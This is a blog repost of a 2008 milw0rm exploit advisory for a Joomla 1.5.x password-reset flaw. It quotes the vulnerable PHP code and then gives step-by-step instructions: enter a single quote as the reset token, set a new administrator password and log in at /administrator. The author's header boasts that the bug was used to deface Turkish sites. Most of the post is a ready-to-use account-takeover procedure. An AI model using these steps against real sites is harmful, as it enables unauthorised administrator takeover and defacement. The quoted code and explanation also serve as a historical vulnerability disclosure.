Monday, June 8, 2009
Vulnerability: Joomla 1.5.x (Token) Remote Admin Change Password
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Joomla 1.5.x (Token) Remote Admin Change Password Vulnerability. Following below steps:
1: #####################################################################################2: #### Joomla 1.5.x Remote Admin Password Change ####3: #####################################################################################4: # #5: # Author: d3m0n (d3m0n@o2.pl) #6: # Greets: GregStar, gorion, d3d!k #7: # #8: # Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff #9: # #10: #####################################################################################11:12:13:14: File : /components/com_user/controller.php15:16: #####################################################################################17: Line : 379-39918:19: function confirmreset()20: {21: // Check for request forgeries22: JRequest::checkToken() or die( 'Invalid Token' );23:24: // Get the input25: $token = JRequest::getVar('token', null, 'post', 'alnum'); < ---26:27: // Get the model28: $model = &$this->getModel('Reset');29:30: // Verify the token31: if ($model->confirmReset($token) === false) < ---32: {33: $message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());34: $this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);35: return false;36: }37:38: $this->setRedirect('index.php?option=com_user&view=reset&layout=complete');39: }40:41: #####################################################################################42:43: File : /components/com_user/models/reset.php44:45: Line: 111-13046:47:48:49: function confirmReset($token)50: {51: global $mainframe;52:53: $db = &JFactory::getDBO();54: $db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token)); < ----55:56: // Verify the token57: if (!($id = $db->loadResult()))58: {59: $this->setError(JText::_('INVALID_TOKEN'));60: return false;61: }62:63: // Push the token and user id into the session64: $mainframe->setUserState($this->_namespace.'token', $token);65: $mainframe->setUserState($this->_namespace.'id', $id);66:67: return true;68: }69: #####################################################################################70:71:72:73: - Replace ' with empty char74: - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "75:76:77: Example :78:79:80: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm81:82: 2. Write into field "token" char ' and Click OK.83:84: 3. Write new password for admin85:86: 4. Go to url : target.com/administrator/87:88: 5. Login admin with new password89:90: # milw0rm.com [2008-08-12]91:

This post was written by: Franklin Manuel
Franklin Manuel is a professional blogger, web designer and front end web developer. Follow him on Twitter
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